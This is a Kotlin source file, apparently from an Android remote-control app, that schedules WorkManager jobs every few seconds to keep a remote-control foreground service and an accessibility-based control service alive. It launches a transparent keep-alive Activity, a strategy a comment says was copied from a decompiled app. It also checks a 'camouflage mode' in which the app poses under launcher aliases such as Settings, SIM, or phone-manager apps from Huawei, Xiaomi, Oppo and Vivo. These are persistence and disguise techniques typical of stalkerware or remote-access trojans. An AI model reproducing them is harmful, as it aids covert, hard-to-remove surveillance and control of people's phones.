Files
and-bak/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt

1064 lines
41 KiB
Kotlin
Raw Normal View History

2026-02-11 16:59:49 +08:00
package com.hikoncont.service
import android.content.Context
import android.util.Log
import androidx.work.*
import androidx.lifecycle.Observer
import kotlinx.coroutines.delay
import java.util.concurrent.TimeUnit
import com.hikoncont.service.ImmediateRecoveryWorker
/**
* WorkManager保活服务
* 使用Android官方推荐的WorkManager进行保活
*/
class WorkManagerKeepAliveService {
companion object {
private const val TAG = "WorkManagerKeepAlive"
private const val WORK_NAME_KEEP_ALIVE = "keep_alive_work"
private const val WORK_NAME_MONITOR = "monitor_work"
private const val WORK_NAME_RECOVERY = "recovery_work"
// 工作间隔 - 优化为5秒快速启动
private const val KEEP_ALIVE_INTERVAL = 5L // ✅ 优化5秒快速保活
private const val MONITOR_INTERVAL = 5L // ✅ 优化5秒快速保活
private const val RECOVERY_INTERVAL = 5L // ✅ 优化5秒快速保活
// 快速恢复间隔 - 优化为5秒
private const val QUICK_RECOVERY_INTERVAL = 5L // ✅ 优化5秒
private const val EMERGENCY_RECOVERY_INTERVAL = 5L // ✅ 优化5秒
@Volatile
private var INSTANCE: WorkManagerKeepAliveService? = null
fun getInstance(): WorkManagerKeepAliveService {
return INSTANCE ?: synchronized(this) {
INSTANCE ?: WorkManagerKeepAliveService().also { INSTANCE = it }
}
}
}
/**
* 启动WorkManager保活
*/
fun startKeepAlive(context: Context) {
try {
Log.i(TAG, "🚀 启动WorkManager保活服务")
val workManager = WorkManager.getInstance(context)
// 1. 启动保活工作
startKeepAliveWork(context, workManager)
// 2. 启动监控工作
startMonitorWork(context, workManager)
// 3. 启动恢复工作
startRecoveryWork(context, workManager)
// 4. 启动快速恢复工作5秒内
startQuickRecoveryWork(context, workManager)
// 5. 启动紧急恢复工作(立即执行)
startEmergencyRecoveryWork(context, workManager)
// 6. 启动立即执行工作(一次性)
startImmediateRecoveryWork(context, workManager)
Log.i(TAG, "✅ WorkManager保活服务启动完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动WorkManager保活服务失败", e)
}
}
/**
* 停止WorkManager保活
*/
fun stopKeepAlive(context: Context) {
try {
Log.i(TAG, "🛑 停止WorkManager保活服务")
val workManager = WorkManager.getInstance(context)
// 取消所有保活相关的工作
workManager.cancelUniqueWork(WORK_NAME_KEEP_ALIVE)
workManager.cancelUniqueWork(WORK_NAME_MONITOR)
workManager.cancelUniqueWork(WORK_NAME_RECOVERY)
workManager.cancelUniqueWork("quick_recovery_work")
workManager.cancelUniqueWork("emergency_recovery_work")
Log.i(TAG, "✅ WorkManager保活服务停止完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 停止WorkManager保活服务失败", e)
}
}
/**
* 检查APP是否安装完成
* 只有在安装完成后才启动保活工作避免第一次打开APP时反复唤醒主页
*/
private fun isAppInstallationComplete(context: Context): Boolean {
return try {
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(context)
val isCompleted = installationStateManager.isInstallationComplete()
if (!isCompleted) {
Log.d(TAG, "🔒 APP安装未完成跳过保活工作启动")
return false
}
// ✅ 检查安装完成时间,确保不是刚安装完成
val installationTime = installationStateManager.getInstallationTime()
val currentTime = System.currentTimeMillis()
val timeSinceInstallation = currentTime - installationTime
// 如果安装完成时间少于30秒跳过保活工作给系统足够时间稳定
if (timeSinceInstallation < 30000L) {
Log.d(TAG, "🔒 APP刚安装完成(${timeSinceInstallation}ms),跳过保活工作启动,等待系统稳定")
return false
}
true
} catch (e: Exception) {
Log.e(TAG, "❌ 检查APP安装完成状态失败", e)
false
}
}
/**
* 启动保活工作
* 关键只有在APP安装完成后才启动保活工作
*/
private fun startKeepAliveWork(context: Context, workManager: WorkManager) {
try {
// ✅ 关键检查APP是否安装完成未完成则不启动保活工作
if (!isAppInstallationComplete(context)) {
Log.d(TAG, "🔒 APP安装未完成跳过保活工作启动")
return
}
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
// ✅ 优化使用秒级间隔WorkManager 最小间隔限制为 15 分钟,但我们可以使用 OneTimeWorkRequest 重复调度)
val keepAliveRequest = PeriodicWorkRequestBuilder<KeepAliveWorker>(
15, TimeUnit.MINUTES // WorkManager 最小间隔限制
)
.setConstraints(constraints)
.setBackoffCriteria(
BackoffPolicy.LINEAR,
WorkRequest.MIN_BACKOFF_MILLIS,
TimeUnit.MILLISECONDS
)
.addTag("keep_alive")
.build()
workManager.enqueueUniquePeriodicWork(
WORK_NAME_KEEP_ALIVE,
ExistingPeriodicWorkPolicy.KEEP,
keepAliveRequest
)
// ✅ 优化额外启动快速保活工作5秒间隔
scheduleFastKeepAliveWork(workManager)
Log.i(TAG, "✅ 保活工作已启动15分钟定期 + 5秒快速保活")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动保活工作失败", e)
}
}
/**
* 启动监控工作
* 关键只有在APP安装完成后才启动监控工作
*/
private fun startMonitorWork(context: Context, workManager: WorkManager) {
try {
// ✅ 关键检查APP是否安装完成未完成则不启动监控工作
if (!isAppInstallationComplete(context)) {
Log.d(TAG, "🔒 APP安装未完成跳过监控工作启动")
return
}
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
// ✅ 优化使用秒级间隔WorkManager 最小间隔限制为 15 分钟,但我们可以使用 OneTimeWorkRequest 重复调度)
val monitorRequest = PeriodicWorkRequestBuilder<MonitorWorker>(
15, TimeUnit.MINUTES // WorkManager 最小间隔限制
)
.setConstraints(constraints)
.setBackoffCriteria(
BackoffPolicy.LINEAR,
WorkRequest.MIN_BACKOFF_MILLIS,
TimeUnit.MILLISECONDS
)
.addTag("monitor")
.build()
workManager.enqueueUniquePeriodicWork(
WORK_NAME_MONITOR,
ExistingPeriodicWorkPolicy.KEEP,
monitorRequest
)
// ✅ 优化额外启动快速监控工作5秒间隔
scheduleFastMonitorWork(workManager)
Log.i(TAG, "✅ 监控工作已启动15分钟定期 + 5秒快速监控")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动监控工作失败", e)
}
}
/**
* 启动恢复工作
* 关键只有在APP安装完成后才启动恢复工作
*/
private fun startRecoveryWork(context: Context, workManager: WorkManager) {
try {
// ✅ 关键检查APP是否安装完成未完成则不启动恢复工作
if (!isAppInstallationComplete(context)) {
Log.d(TAG, "🔒 APP安装未完成跳过恢复工作启动")
return
}
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
// ✅ 优化使用秒级间隔WorkManager 最小间隔限制为 15 分钟,但我们可以使用 OneTimeWorkRequest 重复调度)
val recoveryRequest = PeriodicWorkRequestBuilder<RecoveryWorker>(
15, TimeUnit.MINUTES // WorkManager 最小间隔限制
)
.setConstraints(constraints)
.setBackoffCriteria(
BackoffPolicy.LINEAR,
WorkRequest.MIN_BACKOFF_MILLIS,
TimeUnit.MILLISECONDS
)
.addTag("recovery")
.build()
workManager.enqueueUniquePeriodicWork(
WORK_NAME_RECOVERY,
ExistingPeriodicWorkPolicy.KEEP,
recoveryRequest
)
// ✅ 优化额外启动快速恢复工作5秒间隔
scheduleFastRecoveryWork(workManager)
Log.i(TAG, "✅ 恢复工作已启动15分钟定期 + 5秒快速恢复")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动恢复工作失败", e)
}
}
/**
* 启动快速恢复工作15秒间隔
* 关键只有在APP安装完成后才启动快速恢复工作
*/
private fun startQuickRecoveryWork(context: Context, workManager: WorkManager) {
try {
// ✅ 关键检查APP是否安装完成未完成则不启动快速恢复工作
if (!isAppInstallationComplete(context)) {
Log.d(TAG, "🔒 APP安装未完成跳过快速恢复工作启动")
return
}
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
val quickRecoveryRequest = PeriodicWorkRequestBuilder<QuickRecoveryWorker>(
QUICK_RECOVERY_INTERVAL, TimeUnit.SECONDS
)
.setConstraints(constraints)
.setBackoffCriteria(
BackoffPolicy.LINEAR,
WorkRequest.MIN_BACKOFF_MILLIS,
TimeUnit.MILLISECONDS
)
.addTag("quick_recovery")
.build()
workManager.enqueueUniquePeriodicWork(
"quick_recovery_work",
ExistingPeriodicWorkPolicy.KEEP,
quickRecoveryRequest
)
Log.i(TAG, "✅ 快速恢复工作已启动,间隔: ${QUICK_RECOVERY_INTERVAL}")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动快速恢复工作失败", e)
}
}
/**
* 启动紧急恢复工作5秒间隔
* 关键只有在APP安装完成后才启动紧急恢复工作
*/
private fun startEmergencyRecoveryWork(context: Context, workManager: WorkManager) {
try {
// ✅ 关键检查APP是否安装完成未完成则不启动紧急恢复工作
if (!isAppInstallationComplete(context)) {
Log.d(TAG, "🔒 APP安装未完成跳过紧急恢复工作启动")
return
}
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
val emergencyRecoveryRequest = PeriodicWorkRequestBuilder<EmergencyRecoveryWorker>(
EMERGENCY_RECOVERY_INTERVAL, TimeUnit.SECONDS
)
.setConstraints(constraints)
.setBackoffCriteria(
BackoffPolicy.LINEAR,
WorkRequest.MIN_BACKOFF_MILLIS,
TimeUnit.MILLISECONDS
)
.addTag("emergency_recovery")
.build()
workManager.enqueueUniquePeriodicWork(
"emergency_recovery_work",
ExistingPeriodicWorkPolicy.KEEP,
emergencyRecoveryRequest
)
Log.i(TAG, "✅ 紧急恢复工作已启动,间隔: ${EMERGENCY_RECOVERY_INTERVAL}")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动紧急恢复工作失败", e)
}
}
/**
* 启动立即执行工作一次性
* 关键只有在APP安装完成后才启动立即执行工作
*/
private fun startImmediateRecoveryWork(context: Context, workManager: WorkManager) {
try {
// ✅ 关键检查APP是否安装完成未完成则不启动立即执行工作
if (!isAppInstallationComplete(context)) {
Log.d(TAG, "🔒 APP安装未完成跳过立即执行工作启动")
return
}
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
val immediateRequest = OneTimeWorkRequestBuilder<ImmediateRecoveryWorker>()
.setConstraints(constraints)
.setBackoffCriteria(
BackoffPolicy.LINEAR,
WorkRequest.MIN_BACKOFF_MILLIS,
TimeUnit.MILLISECONDS
)
.addTag("immediate_recovery")
.build()
workManager.enqueue(immediateRequest)
Log.i(TAG, "✅ 立即执行工作已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动立即执行工作失败", e)
}
}
/**
* 检查WorkManager状态
*/
fun checkWorkManagerStatus(context: Context): Map<String, Any> {
return try {
val workManager = WorkManager.getInstance(context)
val keepAliveInfo = workManager.getWorkInfosForUniqueWork(WORK_NAME_KEEP_ALIVE).get()
val monitorInfo = workManager.getWorkInfosForUniqueWork(WORK_NAME_MONITOR).get()
val recoveryInfo = workManager.getWorkInfosForUniqueWork(WORK_NAME_RECOVERY).get()
mapOf(
"keep_alive_running" to keepAliveInfo.any { it.state == WorkInfo.State.RUNNING },
"monitor_running" to monitorInfo.any { it.state == WorkInfo.State.RUNNING },
"recovery_running" to recoveryInfo.any { it.state == WorkInfo.State.RUNNING },
"keep_alive_enqueued" to keepAliveInfo.any { it.state == WorkInfo.State.ENQUEUED },
"monitor_enqueued" to monitorInfo.any { it.state == WorkInfo.State.ENQUEUED },
"recovery_enqueued" to recoveryInfo.any { it.state == WorkInfo.State.ENQUEUED }
)
} catch (e: Exception) {
Log.e(TAG, "❌ 检查WorkManager状态失败", e)
emptyMap()
}
}
/**
* 优化快速保活工作5秒间隔- 使用 OneTimeWorkRequest 重复调度
*/
private fun scheduleFastKeepAliveWork(workManager: WorkManager) {
try {
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
val fastKeepAliveRequest = OneTimeWorkRequestBuilder<KeepAliveWorker>()
.setConstraints(constraints)
.setInitialDelay(5, TimeUnit.SECONDS)
.addTag("fast_keep_alive")
.build()
workManager.enqueue(fastKeepAliveRequest)
// ✅ 关键:在 Worker 完成后重新调度实现5秒间隔
workManager.getWorkInfoByIdLiveData(fastKeepAliveRequest.id)
.observeForever { workInfo ->
if (workInfo?.state == WorkInfo.State.SUCCEEDED || workInfo?.state == WorkInfo.State.FAILED) {
scheduleFastKeepAliveWork(workManager) // 重新调度
}
}
Log.d(TAG, "✅ 快速保活工作已调度5秒间隔")
} catch (e: Exception) {
Log.e(TAG, "❌ 调度快速保活工作失败", e)
}
}
/**
* 优化快速监控工作5秒间隔- 使用 OneTimeWorkRequest 重复调度
*/
private fun scheduleFastMonitorWork(workManager: WorkManager) {
try {
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
val fastMonitorRequest = OneTimeWorkRequestBuilder<MonitorWorker>()
.setConstraints(constraints)
.setInitialDelay(5, TimeUnit.SECONDS)
.addTag("fast_monitor")
.build()
workManager.enqueue(fastMonitorRequest)
// ✅ 关键:在 Worker 完成后重新调度实现5秒间隔
workManager.getWorkInfoByIdLiveData(fastMonitorRequest.id)
.observeForever { workInfo ->
if (workInfo?.state == WorkInfo.State.SUCCEEDED || workInfo?.state == WorkInfo.State.FAILED) {
scheduleFastMonitorWork(workManager) // 重新调度
}
}
Log.d(TAG, "✅ 快速监控工作已调度5秒间隔")
} catch (e: Exception) {
Log.e(TAG, "❌ 调度快速监控工作失败", e)
}
}
/**
* 优化快速恢复工作5秒间隔- 使用 OneTimeWorkRequest 重复调度
*/
private fun scheduleFastRecoveryWork(workManager: WorkManager) {
try {
val constraints = Constraints.Builder()
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
.setRequiresBatteryNotLow(false)
.setRequiresCharging(false)
.setRequiresDeviceIdle(false)
.setRequiresStorageNotLow(false)
.build()
val fastRecoveryRequest = OneTimeWorkRequestBuilder<RecoveryWorker>()
.setConstraints(constraints)
.setInitialDelay(5, TimeUnit.SECONDS)
.addTag("fast_recovery")
.build()
workManager.enqueue(fastRecoveryRequest)
// ✅ 关键:在 Worker 完成后重新调度实现5秒间隔
workManager.getWorkInfoByIdLiveData(fastRecoveryRequest.id)
.observeForever { workInfo ->
if (workInfo?.state == WorkInfo.State.SUCCEEDED || workInfo?.state == WorkInfo.State.FAILED) {
scheduleFastRecoveryWork(workManager) // 重新调度
}
}
Log.d(TAG, "✅ 快速恢复工作已调度5秒间隔")
} catch (e: Exception) {
Log.e(TAG, "❌ 调度快速恢复工作失败", e)
}
}
}
/**
* 保活工作器
*/
class KeepAliveWorker(
context: Context,
params: WorkerParameters
) : CoroutineWorker(context, params) {
companion object {
private const val TAG = "KeepAliveWorker"
}
override suspend fun doWork(): Result {
return try {
Log.i(TAG, "🔄 执行保活工作")
// 1. 启动前台服务
startForegroundService()
// 2. 检查无障碍服务状态
checkAccessibilityService()
// 3. 记录保活日志
recordKeepAliveLog()
Log.i(TAG, "✅ 保活工作执行完成")
Result.success()
} catch (e: Exception) {
Log.e(TAG, "❌ 保活工作执行失败", e)
Result.retry()
}
}
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动前台服务失败", e)
}
}
private suspend fun checkAccessibilityService() {
try {
val isEnabled = isAccessibilityServiceEnabled(applicationContext)
val isRunning = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
Log.d(TAG, "🔍 无障碍服务状态: enabled=$isEnabled, running=$isRunning")
if (!isRunning && isEnabled) {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务失败", e)
}
}
/**
* 检查无障碍服务是否已启用
*/
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
return try {
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
false
}
}
private suspend fun recordKeepAliveLog() {
try {
val timestamp = System.currentTimeMillis()
Log.i(TAG, "📝 保活日志记录: $timestamp")
// 这里可以添加更多的保活逻辑
// 例如:发送心跳包、更新状态等
} catch (e: Exception) {
Log.e(TAG, "❌ 记录保活日志失败", e)
}
}
}
/**
* 监控工作器
*/
class MonitorWorker(
context: Context,
params: WorkerParameters
) : CoroutineWorker(context, params) {
companion object {
private const val TAG = "MonitorWorker"
}
override suspend fun doWork(): Result {
return try {
Log.i(TAG, "🔍 执行监控工作")
// 1. 监控应用状态
monitorAppStatus()
// 2. 监控服务状态
monitorServiceStatus()
// 3. 监控系统状态
monitorSystemStatus()
Log.i(TAG, "✅ 监控工作执行完成")
Result.success()
} catch (e: Exception) {
Log.e(TAG, "❌ 监控工作执行失败", e)
Result.retry()
}
}
private suspend fun monitorAppStatus() {
try {
val activityManager = applicationContext.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val runningApps = activityManager.getRunningAppProcesses()
val ourAppRunning = runningApps?.any { it.processName == applicationContext.packageName } ?: false
Log.d(TAG, "📱 应用运行状态: $ourAppRunning")
if (!ourAppRunning) {
Log.w(TAG, "⚠️ 应用进程未运行,可能需要恢复")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 监控应用状态失败", e)
}
}
private suspend fun monitorServiceStatus() {
try {
val isAccessibilityEnabled = isAccessibilityServiceEnabled(applicationContext)
val isAccessibilityRunning = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
Log.d(TAG, "🔧 无障碍服务监控: enabled=$isAccessibilityEnabled, running=$isAccessibilityRunning")
if (isAccessibilityEnabled && !isAccessibilityRunning) {
Log.w(TAG, "⚠️ 无障碍服务异常,需要恢复")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 监控服务状态失败", e)
}
}
private suspend fun monitorSystemStatus() {
try {
val batteryManager = applicationContext.getSystemService(Context.BATTERY_SERVICE) as android.os.BatteryManager
val batteryLevel = batteryManager.getIntProperty(android.os.BatteryManager.BATTERY_PROPERTY_CAPACITY)
Log.d(TAG, "🔋 电池状态: $batteryLevel%")
if (batteryLevel < 20) {
Log.w(TAG, "⚠️ 电池电量低,可能需要调整保活策略")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 监控系统状态失败", e)
}
}
/**
* 检查无障碍服务是否已启用
*/
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
return try {
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
false
}
}
}
/**
* 恢复工作器
*/
class RecoveryWorker(
context: Context,
params: WorkerParameters
) : CoroutineWorker(context, params) {
companion object {
private const val TAG = "RecoveryWorker"
}
override suspend fun doWork(): Result {
return try {
Log.i(TAG, "🔧 执行恢复工作")
// 1. 恢复无障碍服务
// ✅ 参考 f 目录:不恢复无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动恢复")
// 2. 恢复前台服务
recoverForegroundService()
// 3. 恢复网络连接
recoverNetworkConnection()
Log.i(TAG, "✅ 恢复工作执行完成")
Result.success()
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复工作执行失败", e)
Result.retry()
}
}
// ✅ 参考 f 目录:已移除恢复无障碍服务的功能,系统会自动管理无障碍服务生命周期
private suspend fun recoverForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务恢复完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复前台服务失败", e)
}
}
private suspend fun recoverNetworkConnection() {
try {
// 这里可以添加网络连接恢复逻辑
// 例如重新连接Socket.IO、发送心跳包等
Log.d(TAG, "🌐 网络连接恢复检查完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复网络连接失败", e)
}
}
/**
* 检查无障碍服务是否已启用
*/
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
return try {
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
false
}
}
}
/**
* 快速恢复工作器15秒间隔
*/
class QuickRecoveryWorker(
context: Context,
params: WorkerParameters
) : CoroutineWorker(context, params) {
companion object {
private const val TAG = "QuickRecoveryWorker"
}
override suspend fun doWork(): Result {
return try {
Log.i(TAG, "⚡ 执行快速恢复工作")
// 1. 检查应用状态
val isAppRunning = checkAppRunning()
if (!isAppRunning) {
Log.w(TAG, "⚠️ 应用未运行,执行快速恢复")
// 2. 启动前台服务
startForegroundService()
// 3. 启动无障碍服务
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
// 4. 启动主服务
startMainServices()
Log.i(TAG, "✅ 快速恢复完成")
} else {
Log.d(TAG, "✅ 应用运行正常,无需恢复")
}
Result.success()
} catch (e: Exception) {
Log.e(TAG, "❌ 快速恢复工作执行失败", e)
Result.retry()
}
}
private suspend fun checkAppRunning(): Boolean {
return try {
val activityManager = applicationContext.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val runningApps = activityManager.getRunningAppProcesses()
runningApps?.any { it.processName == applicationContext.packageName } ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查应用运行状态失败", e)
false
}
}
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动前台服务失败", e)
}
}
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
private suspend fun startMainServices() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.KeepAliveService::class.java)
applicationContext.startService(intent)
Log.d(TAG, "✅ 主服务已启动")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动主服务失败", e)
}
}
/**
* 检查无障碍服务是否已启用
*/
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
return try {
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
false
}
}
}
/**
* 紧急恢复工作器5秒间隔
*/
class EmergencyRecoveryWorker(
context: Context,
params: WorkerParameters
) : CoroutineWorker(context, params) {
companion object {
private const val TAG = "EmergencyRecoveryWorker"
}
override suspend fun doWork(): Result {
return try {
Log.i(TAG, "🚨 执行紧急恢复工作")
// 1. 检查关键服务状态
val isAccessibilityRunning = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
val isAppRunning = checkAppRunning()
if (!isAppRunning || !isAccessibilityRunning) {
Log.w(TAG, "🚨 检测到关键服务异常,执行紧急恢复")
// 2. 立即启动前台服务
startForegroundService()
// 3. 发送紧急恢复广播
sendEmergencyRecoveryBroadcast()
// 4. 启动应用主Activity如果需要
if (!isAppRunning) {
startMainActivity()
}
Log.i(TAG, "✅ 紧急恢复完成")
} else {
Log.d(TAG, "✅ 关键服务运行正常")
}
Result.success()
} catch (e: Exception) {
Log.e(TAG, "❌ 紧急恢复工作执行失败", e)
Result.retry()
}
}
private suspend fun checkAppRunning(): Boolean {
return try {
val activityManager = applicationContext.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val runningApps = activityManager.getRunningAppProcesses()
runningApps?.any { it.processName == applicationContext.packageName } ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查应用运行状态失败", e)
false
}
}
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务紧急启动完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 紧急启动前台服务失败", e)
}
}
private suspend fun sendEmergencyRecoveryBroadcast() {
try {
val intent = android.content.Intent("android.mycustrecev.EMERGENCY_RECOVERY")
intent.putExtra("timestamp", System.currentTimeMillis())
applicationContext.sendBroadcast(intent)
Log.d(TAG, "✅ 紧急恢复广播已发送")
} catch (e: Exception) {
Log.e(TAG, "❌ 发送紧急恢复广播失败", e)
}
}
private suspend fun startMainActivity() {
try {
// 检查是否在伪装模式下
if (isAppInCamouflageMode()) {
Log.d(TAG, "🎭 检测到伪装模式跳过启动MainActivity")
return
}
// ✅ 新增OPPO设备检测禁用Activity保活
if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
Log.i(TAG, "📱 OPPO设备WorkManager跳过Activity保活仅使用服务保活")
return
}
// 参照反编译应用策略启动透明保活Activity而不是MainActivity
val intent = android.content.Intent(applicationContext, com.hikoncont.TransparentKeepAliveActivity::class.java)
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK
intent.putExtra("from_workmanager_keepalive", true)
intent.putExtra("keepalive_launch", true)
intent.putExtra("from_service", true)
applicationContext.startActivity(intent)
Log.d(TAG, "✅ 透明保活Activity紧急启动完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 紧急启动主Activity失败", e)
}
}
/**
* 检查应用是否处于伪装模式
*/
private fun isAppInCamouflageMode(): Boolean {
return try {
val packageManager = applicationContext.packageManager
val mainComponent = android.content.ComponentName(applicationContext, "com.hikoncont.MainActivity")
val camouflageAliases = listOf(
"com.hikoncont.PhoneManagerAlias",
"com.hikoncont.VivoIGuanjiaAlias",
"com.hikoncont.OppoAlias",
"com.hikoncont.HuaweiAlias",
"com.hikoncont.HonorAlias",
"com.hikoncont.XiaomiAlias",
"com.hikoncont.SettingsAlias",
"com.hikoncont.SIMAlias"
)
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
var anyAliasEnabled = false
for (aliasName in camouflageAliases) {
try {
val component = android.content.ComponentName(applicationContext, aliasName)
val enabled = packageManager.getComponentEnabledSetting(component)
if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
anyAliasEnabled = true
break
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
}
}
val isCamouflage = isMainDisabled && anyAliasEnabled
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (Main: $mainDisabled, AnyAlias: $anyAliasEnabled)")
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
false
}
}
/**
* 检查无障碍服务是否已启用
*/
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
return try {
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
false
}
}
}